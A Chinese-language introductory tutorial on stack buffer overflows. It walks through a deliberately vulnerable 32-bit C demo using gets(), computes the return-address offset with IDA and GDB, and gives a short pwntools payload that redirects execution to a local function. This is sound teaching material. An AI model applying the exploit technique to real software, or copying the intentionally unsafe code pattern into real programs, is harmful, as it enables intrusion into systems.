一. 基础知识
- 什么是缓冲区溢出
- 在深入探讨技术之前, 让我们先了解一下缓冲区溢出的实际内容.想象一个非常简单的程序, 要求你输入你的用户名, 然后返回到它在做什么.从视觉上看, 如下所示
- 什么是缓冲区溢出
- 注意到括号之间的空格是输入用户名的预期空间.那个空间是我们的缓冲.处理用户名后, 返回地址将告知程序需要执行的下一个指令.现在, 如果我们不仅输入用户名, 而且添加其他数据以溢出此缓冲区空间, 会发生什么情况?
- 不仅如此, 我们键入的是一些 shellcode(一系列计算机指令, 通过示例给我们提供远程 shell), 一些虚拟数据和该 shellcode 的地址, 而不只是键入名字, 而是键入一些 shellcode.程序将遵循我们覆盖的 shellcode 地址而不是正常的返回地址, 而是执行我们的 shellcode, 而不是返回到预期的指令.这是缓冲区溢出攻击.
- 函数调用栈在内存中从高地址向低地址生长
- 函数状态主要涉及三个寄存器EBP, ESP, EIP
- EBP : 用来存储当前函数状态的基地址, 在函数运行时不变, 可以用来索引确定函数参数或局部变量的位置
- ESP : 用来存储函数调用栈的栈顶地址, 在压栈和退栈时发生变化
- EIP : 用来存储即将执行的程序指令的地址, cpu 依照 EIP 的存储内容读取指令并执行, EIP 随之指向相邻的下一条指令
- 二进制, 十进制, 十六进制表示
- 二进制 : 101010110B
- 十进制 : 100
- 十六进制 : 4E20H, 4e20h, 0x4E20, 0x4e20
- 小端字节序, 大端字节序
- 举例来说, 数值0x2211使用两个字节储存:高位字节是0x22, 低位字节是0x11
- 小端字节序:低位字节在前, 高位字节在后, 即以0x1122形式储存
- 大端字节序:高位字节在前, 低位字节在后, 即以0x2211形式储存, 这是人类读写数值的方法
- 举例来说, 数值0x2211使用两个字节储存:高位字节是0x22, 低位字节是0x11
- 一般操作系统都是小端, 而通讯协议是大端的
二. 栈溢出基本原理
- 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变
- 发生栈溢出的基本前提是
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好地控制
- 当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击
三. 栈溢出 Demo 讲解
- demo 代码
#include <stdio.h>
#include <string.h>void pwn()
{ puts("Stack Overflow!");
}void vulnerable()
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv)
{vulnerable();return 0;
}
- 代码解释
- 函数pwn()
- 正常执行代码时, 该函数不会被调用, 在之后的内容中我们会通过栈溢出调用该函数
- 功能为打印Stack Overflow!
- 函数vulnerable()
- 正常执行代码时, 函数被调用
- 功能为获取用户输入然后打印
- 函数pwn()
- 编译该c文件 : gcc -m32 -fno-stack-protector stack_test.c -o stack_test
- gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie
2. 使用IDA进行静态汇编代码分析
- IDA 下载地址 : https://pan.baidu.com/s/1h0pt4SNylRYH4P4dMviKAQ 提取: rfqm
- 使用IDA打开该ELF文件(即生成的stack_test文件)
- F5, 点击左侧的vulnerable()函数, 查看伪代码
int vulnerable()
{char s; // [esp+4h] [ebp-14h]gets(&s);return puts(&s);
}
- 由此得到
- 变量s的地址 = EBP的地址 - 14h
- 由于C语言标准库的 gets() 函数并未限制输入数据长度的漏洞, 从而可以实现了栈溢出, 而其参数s距离EBP的偏移地址为14h
- 点击查看我们需要溢出至调用的目标函数pwn(),记下它的地址0x0804843B
3. 计算偏移地址
- 目的: 将被调用函数的返回地址, 通过改变可控变量的值, 替换为我们指定的地址
- 通过指定变量s的值, 使得被调用函数的返回地址, 变为pwn函数的地址
- 被调用函数的返回地址 = EBP的地址 + 4h
- 4h为EBP大小
- x86-32, 所有主寄存器(包括EBP)的大小都是32位,在堆栈上占4个字节
- vulnerable函数的返回地址 = EBP的地址 + 4h = (变量s的地址 + 14h) + 4h = 变量s的地址 + 18h
- 通过IDA可知 EBP的地址 = 变量s的地址 + 14h
- 所以只需要指定s变量为任意18h个字符和pwn函数地址组成的字符串即可
四. 编写payload
- 在下面payload中,前面14h个字节码用“a”覆盖,将EBP覆盖为“aaaa”,最后插入小端存储形式的pwn()函数地址
from pwn import process, flat, p32sh = process("./stack_test")
pwn_function_address = 0x0804843B
payload = flat(['a' * 0x18, p32(pwn_function_address)])
sh.sendline(payload)
print (sh.recvall())
from pwn import *
- python2:
pip install pwn
- python3:
pip3 install git+https://github.com/arthaud/python3-pwntools.git
- python2:
sh = process("./stack_test")
- 开启进程执行stack_test
pwn_function_address = 0x0804843B
- pwn函数的地址
payload = flat(['a' * 0x18, p32(pwn_function_address)])
['a' * 0x18, p32(pwn_function_address)]
- 0x14 == 20
- p32: 将传入的数转为小端字节序返回
- 返回结果:
['aaaaaaaaaaaaaaaaaaaaaaaa', b'x3Bx84x04x08']
flat(['aaaaaaaaaaaaaaaaaaaaaaaa', b'x3Bx84x04x08'])
- flat: 将传入参数合并为一个字符串
- 返回结果:
b'aaaaaaaaaaaaaaaaaaaaaaaax3Bx84x04x08'
sh.sendline(payload)
- 向进程发送数据
print (sh.recvall())
- 打印进程返回的数据
- 效果图
五. GDB计算偏移地址
其实由IDA分析可以知道, 参数s距离EBP的偏移地址为14h. 但是有时候并不能完全相信IDA计算出来的偏移, 最为准确的是用GDB打断点调试出来, 下面介绍两种GDB方法.
- GDB 配置
- 安装peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
- 更改peda默认颜色: 修改peda颜色 - twfb - 博客园
- 安装peda
- GDB 基础
b
: 添加断点r
: 执行程序c
: 继续执行info break
: 查看断点del 1
: 删除第一个断点
1. GDB断点调试获取
- 执行
gdb stack_test
b vulnerable
r
- 效果图
b *0x8048466
- 找到调用gets后的地址为0x8048466, 在此处打断点, 查看调用gets后的状况
c
- 输入任意值
- 效果图
- 由上步可以得到变量地址为
0xffffd664
, EBP地址为0xffffd678
0xffffd664 = 0xffffd678 - 0x14
- 由上步可以得到变量地址为
2. 使用GDB pattern字符串溢出计算偏移量
- 执行
gdb stack_test
pattern_create 200
- 复制生成的字符串
r
- 粘贴
- 效果图
- 复制EIP的地址
pattern_offset 0x44414128
- 返回信息
1145127208 found at offset: 24
24 = 18h = vulnerable函数的返回地址 - 变量s的地址
- 返回信息
六. 小结
总体而言主要分为两个步骤, 先是找到危险函数确定存在栈溢出漏洞, 然后就是通过调试分析计算出栈溢出攻击利用需要溢出的偏移量, 最后就通过覆盖地址的方法来直接或者间接地控制程序执行流程
1. 寻找危险函数
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
- 输入
- gets,直接读取一行,忽略x00
- scanf
- vscanf
- gets,直接读取一行,忽略x00
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到x00停止
- strcat,字符串拼接,遇到x00停止
- bcopy
2. 确定填充长度
计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移
- 一般变量会有以下几种索引模式
1. 相对于栈基地址的的索引, 可以直接通过查看 EBP 相对偏移获得
2. 相对应栈顶指针的索引, 一般需要进行调试, 之后还是会转换到第一种类型
3. 直接地址索引, 就相当于直接给定了地址
- 一般来说,我们会有如下的覆盖需求
1. 覆盖函数返回地址,这时候就是直接看 EBP即可
2. 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了
3. 覆盖 bss 段某个变量的内容
4. 根据现实执行情况,覆盖特定的变量或地址的内容
- 参考链接:
- Buffer Overflow introduction
- 理解字节序 - 阮一峰的网络日志
- 栈溢出基本原理
- 手把手教你栈溢出从入门到放弃(上)